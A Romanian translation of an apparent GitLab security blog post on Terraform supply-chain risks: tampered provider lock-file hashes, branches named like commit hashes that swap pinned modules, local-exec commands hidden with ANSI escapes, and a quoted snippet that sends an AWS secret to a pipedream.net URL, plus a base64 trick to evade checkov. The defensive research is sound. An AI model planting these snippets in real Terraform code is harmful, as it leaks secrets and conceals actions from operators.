Terraform ca parte a lanțului de aprovizionare cu software, Partea 1 – Module și furnizori
Când vorbim despre securitatea Terraform, există multe resurse care acoperă aspectele de securitate ale infrastructurii din jurul anumitor configurații Terraform. Privind securitatea Terraform în sine și lucrurile care ar putea merge prost atunci când îl rulează, totuși, au o acoperire foarte mică până acum.
Unele lucrări publicate anterior de care sunt la curent includ:
„Furnizorii și modulele Terraform utilizate în configurația dvs. Terraform vor avea acces deplin la variabilele și starea Terraform dintr-un spațiu de lucru. Terraform Cloud nu poate împiedica furnizorii și modulele rău intenționați să exfiltreze aceste date sensibile. Vă recomandăm să utilizați numai module și furnizori de încredere în configurația dvs. Terraform. .”
Postarea pe blog pe care o citiți este prima parte a unei serii de trei părți care examinează aspectele lanțului de aprovizionare ale Terraform și își propune să analizeze modulele și furnizorii Terraform rău intenționați. Voi oferi, de asemenea, recomandări cu privire la securizarea procesului de rulare a Terraform împotriva modulelor și furnizorilor deveniți necinstiți. Următoarele două bloguri din serie se vor baza pe aceste descoperiri și vor acoperi subiecte și vulnerabilități mai aprofundate.
Securitatea furnizorului
Furnizorii din Terraform sunt binare executabile, deci dacă un furnizor devine rău intenționat, cu siguranță este „game over”, în sensul că poate face orice permite sistemul de operare gazdă pe care rulează. Furnizorii trebuie să aibă o semnătură care este validată de Terraform la instalarea Furnizorului. Versiunea 0.14
Terraform creează un fișier de blocare a dependenței care înregistrează sumele de verificare ale furnizorilor utilizați în două formate diferite.
sume de control zh și h1
Primul format , zh
, este pur și simplu un hash SHA256 al fișierului zip
care conține un furnizor pentru o anumită combinație de platformă OS/hardware. Hash-ul h1
este așa-numitul „ dirhash ” al directorului furnizorului.
Deci, dacă ne uităm la următorul fișier de blocare .terraform.lock.hcl
, putem observa cele două tipuri diferite de hashe-uri:
# This file is maintained automatically by "terraform init". # Manual edits may be lost in future updates. provider "registry.terraform.io/hashicorp/aws" { version = "4.11.0" hashes = [ "h1:JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=", "zh:3e4634f4babcef402160ffb97f9f37e3e781313ceb7b7858fe4b7fc0e2e33e99", "zh:3ff647aa88e71419480e3f51a4b40e3b0e2d66482bea97c0b4e75f37aa5ad1f1", "zh:4680d16fbb85663034dc3677b402e9e78ab1d4040dd80603052817a96ec08911", "zh:5190d03f43f7ad56dae0a7f0441a0f5b2590f42f6e07a724fe11dd50c42a12e4", "zh:622426fcdbb927e7c198fe4b890a01a5aa312e462cd82ae1e302186eeac1d071", "zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425", "zh:b0b766a835c79f8dd58b93d25df8f37749f33cca2297ac088d402d718baddd9c", "zh:b293cf26a02992b2167ed3f63711dc01221c4a5e2984b6c7c0c04a6155ab0526", "zh:ca8e1f5c58fc838edb5fe7528aec3f2fcbaeabf808add0f401aee5073b61f17f", "zh:e0d2ad2767c0134841d52394d180f8f3315c238949c8d11be39a214630e8d50e", "zh:ece0d11c35a8537b662287e00af4d27a27eb9558353b133674af90ec11c818d3", "zh:f7e1cd07ae883d3be01942dc2b0d516b9736a74e6037287ab19f616725c8f7e8", ] }
Intrările zh
pot fi găsite și în versiunea v.4.11.0 a furnizorului în fișierul SHA256SUMS . Pentru a înțelege intrarea unică h1
dirhash, trebuie să aruncăm o privire la directorul furnizorului.
În proiectul nostru Terraform este construit astfel:
$ ls .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/ terraform-provider-aws_v4.11.0_x5 $ cd .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/ $ sha256sum terraform-provider-aws_v4.11.0_x5 34c03613d15861d492c2d826c251580c58de232be6e50066cb0a0bb8c87b48de terraform-provider-aws_v4.11.0_x5 $ sha256sum terraform-provider-aws_v4.11.0_x5 > /tmp/dirhash $ sha256sum /tmp/dirhash 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 /tmp/dirhash $ echo 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 | ruby -rbase64 -e 'puts Base64.encode64 [STDIN.read.chomp].pack("H*")' JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=
dirhash
-ul, numit h1
în fișierul de blocare, este creat dintr-o listă alfabetică de nume de sha256sum filename
. Odată ce această listă este sumată din nou, sha256sum
rezultat este luat în reprezentare binară și apoi convertit în Base64.
Din perspectiva unui atacator, partea interesantă a fișierului de blocare este că poate conține mai multe hash-uri zh
și h1
pentru fiecare furnizor. De asemenea, este de remarcat faptul că aceste două tipuri nu trebuie să aibă nicio relație. Dacă modificăm conținutul unui furnizor descărcat pe disc, putem pur și simplu să plasăm hash-ul h1
corespunzător lângă orice alt h1
din fișierul de blocare. Deoarece pot exista mai multe intrări, nu am întrerupe nicio instalare legitimă și am permite doar să listăm un director de furnizor modificat pe disc, pe lângă ceea ce este deja permis.
Lecții învățate aici
- Puneți
.terraform.lock.hcl
sub controlul versiunii (Terraform sugerează chiar acest lucru pe linia de comandă atunci când generează fișierul). - Verificați și verificați din nou orice modificări și completări ale fișierului
.terraform.lock.hcl
; acest lucru este crucial pentru a detecta orice manipulare a furnizorilor în uz.
Ești invitat! Alăturați-vă nouă pe 23 iunie pentru evenimentul de lansare a GitLab 15 cu guruul DevOps Gene Kim și câțiva lideri GitLab. Vă vor arăta ce văd pentru viitorul DevOps și The One DevOps Platform.
Securitatea modulului
Modulele nu au nicio formă de semnătură și pot fi descărcate din diferite surse de module . În mod implicit, ceea ce se întâmplă atunci când instruiți Terraform să descarce un modul este că Registrul public Terraform va redirecționa clientul Terraform pentru a descărca o etichetă Git dintr-un depozit public GitHub. Problema aici este că etichetele Git de pe GitHub sunt modificabile. Ele pot fi pur și simplu înlocuite cu conținut complet diferit, de exemplu, prin introducerea forțată a conținutului nou sub aceeași etichetă către GitHub.
Deci, având un modul referit ca:
module "hello" { source = "joernchen/hello/test" version = "0.0.1" }
aș descărca eticheta Git v0.0.1
din depozitul meu GitHub, dar nu există nicio garanție cu privire la conținut.
În acest moment, cea mai obișnuită recomandare este să specificați un ref git care să indice un SHA de comitere completă. Această abordare nu este perfectă nici în cazul non-implicit. În funcție de sursa modulului, putem folosi faptul că suntem capabili să denumim o ramură la fel ca un commit hash. GitLab și GitHub nu vă vor permite să creați astfel de ramuri sau să împingeți ramuri care arată ca commit hashe-uri. Cu toate acestea, alte surse de module ar putea permite acest lucru. Un atac real folosind acest vector ar arăta ca ceea ce vedem mai jos.
Mai întâi ne uităm la o clonă legitimă care face referire la un commit git:
$ cat main.tf module "immutable_module"{ source = "git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758" } $ terraform init Initializing modules... Downloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module... - immutable_module in .terraform/modules/immutable_module Initializing the backend... Initializing provider plugins... - Finding latest version of hashicorp/http... - Installing hashicorp/http v2.1.0... - Installed hashicorp/http v2.1.0 (signed by HashiCorp) Terraform has created a lock file .terraform.lock.hcl to record the provider selections it made above. Include this file in your version control repository so that Terraform can guarantee to make the same selections by default when you run "terraform init" in the future. Terraform has been successfully initialized! You may now begin working with Terraform. Try running "terraform plan" to see any changes that are required for your infrastructure. All Terraform commands should now work. If you ever set or change modules or backend configuration for Terraform, rerun this command to reinitialize your working directory. If you forget, other commands will detect it and remind you to do so if necessary. $ ls -al .terraform/modules/immutable_module total 20 drwxr-xr-x 3 joern joern 4096 9. Mai 09:53 . drwxr-xr-x 3 joern joern 4096 9. Mai 09:53 .. drwxr-xr-x 8 joern joern 4096 9. Mai 09:53 .git -rw-r--r-- 1 joern joern 159 9. Mai 09:53 main.tf -rw-r--r-- 1 joern joern 22 9. Mai 09:53 README.md
Apoi pregătim depozitul nostru pentru a avea o ramură cu același nume ca și commit-ul folosit anterior:
$ git checkout -b e23c0dcbb43ca19ea9ca91c879aafcc66c990758 Switched to a new branch 'e23c0dcbb43ca19ea9ca91c879aafcc66c990758' $ echo "a malicious file">malicious.tf $ git add malicious.tf $ git commit -m "a malicious commit" [e23c0dcbb43ca19ea9ca91c879aafcc66c990758 51de72e] a malicious commit 1 file changed, 1 insertion(+) create mode 100644 malicious.tf
Când inițializam proiectul din nou, vom trage ramura rău intenționată în loc de commit-ul la care se face referire:
$ rm -rf .terraform $ terraform init Initializing modules... Downloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module... - immutable_module in .terraform/modules/immutable_module ╷ │ Error: Invalid block definition │ │ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by "{" and "}", starting on the │ same line as the block header. ╵ ╷ │ Error: Invalid block definition │ │ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by "{" and "}", starting on the │ same line as the block header. ╵
Lecția învățată aici
Refurile git aparent imuabile nu sunt chiar atât de imuabile, până la urmă. Aceasta înseamnă că nu putem avea încredere în modulele găzduite în locații arbitrare și pur și simplu ne bazăm pe referința lor git pentru a fi fixată. În schimb, trebuie să avem control asupra locației găzduite, astfel încât manipularea depozitului să poată fi prevenită.
Impactul modulelor rău intenționate
Ce ar putea face un modul rău intenționat?
Citind documentația, există câteva primitive utile deja încorporate. Cea mai „puternică” primitivă, dacă vrem să ne încurcăm cu rularea Terraform în sine, ar putea fi local-exec
care ne va permite să rulăm comenzi locale pe mașina care rulează procesul Terraform. .
Terraform, totuși, va fi cuprinzător despre acest lucru și va spune utilizatorului ce tocmai a executat:
Terraform local-exec
Putem înșela puțin aici, deoarece majoritatea terminalelor acceptă așa-numitele coduri de evadare ANSI, care permit să se amestece într-o anumită măsură cu ieșirea terminalului.
Următoarea variantă a fișierului nostru main.tf
din captura de ecran de mai sus va ascunde urmele de ieșire ale local-exec
în terminal:
resource "null_resource" "lol" { provisioner "local-exec" { command = "id > haxx ;echo -e '\033[0K \033[1K \033[1A \033[0K \033[1K \033[2A'" } }
Captura de ecran de mai jos arată că urmele noastre de utilizare local-exec
nu mai sunt vizibile în ieșirea shell:
Exec local nu mai este vizibil în ieșirea shell
Un alt vector de atac a fost subliniat în postarea lui xssfox :
terraform { required_providers { aws = { source = "hashicorp/aws" } http = {} } } resource "aws_ssm_parameter" "param" { name = var.parameter_name type = "SecureString" value = random_password.password.result } resource "random_password" "password" { length = 16 special = true override_special = "_%@" } ## !!! Our evil way to leak data !!! data "http" "leak" { url = "https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}" }
Aici, parametrul care trebuie păstrat secret aws_ssm_parameter
este scurs prin sursa de date http
. Putem detecta o astfel de scurgere cu checkov
. Rularea checkov
pentru a verifica codul terraform de mai sus ne va avertiza cu o verificare nereușită:
Verificare eșuată
Această verificare poate fi ocolită destul de ușor prin simpla includere a parametrilor scurși în base64encode
:
Ocolind verificarea eșuată
Lecția învățată aici
Principala concluzie este că modulele rău intenționate pot fi un atac destul de puternic și există multe moduri diferite de a compromite o rulare Terraform cu un modul rău intenționat, astfel încât chiar și verificările automate ar putea eșua.
Gânduri de încheiere și ce urmează
Acest prim blog a acoperit elementele de bază ale modulelor și furnizorilor rău intenționați din Terraform. Ca rezultat, aș dori să subliniez fragilitatea rulării Terraform în cazurile în care sunt utilizate module și furnizori terți. Pentru a vă întări procesul Terraform împotriva modulelor rău intenționate, ar trebui să aveți în permanență controlul asupra conținutului modulului inclus și al furnizorului. Pentru furnizori, vă puteți baza pe semnături atâta timp cât acestea nu au fost încurcate. Pentru module, se recomandă găzduirea lor într-un mediu controlat.
Următorul nostru blog din această serie va acoperi câteva vulnerabilități în Terraform în sine. În cea de-a treia și ultima postare, vom arunca o privire mai atentă asupra aspectelor legate de CI/CD ale Terraform. Pana data viitoare!
Imagine de copertă de Mateusz Dach pe Pexels .
„Acest blog examinează aspectele #supplychain ale Terraform, începând cu o privire mai atentă asupra modulelor și furnizorilor Terraform rău intenționați. Aflați cum le puteți asigura mai bine.” – Joern Schneeweisz
Faceți clic pentru a tweet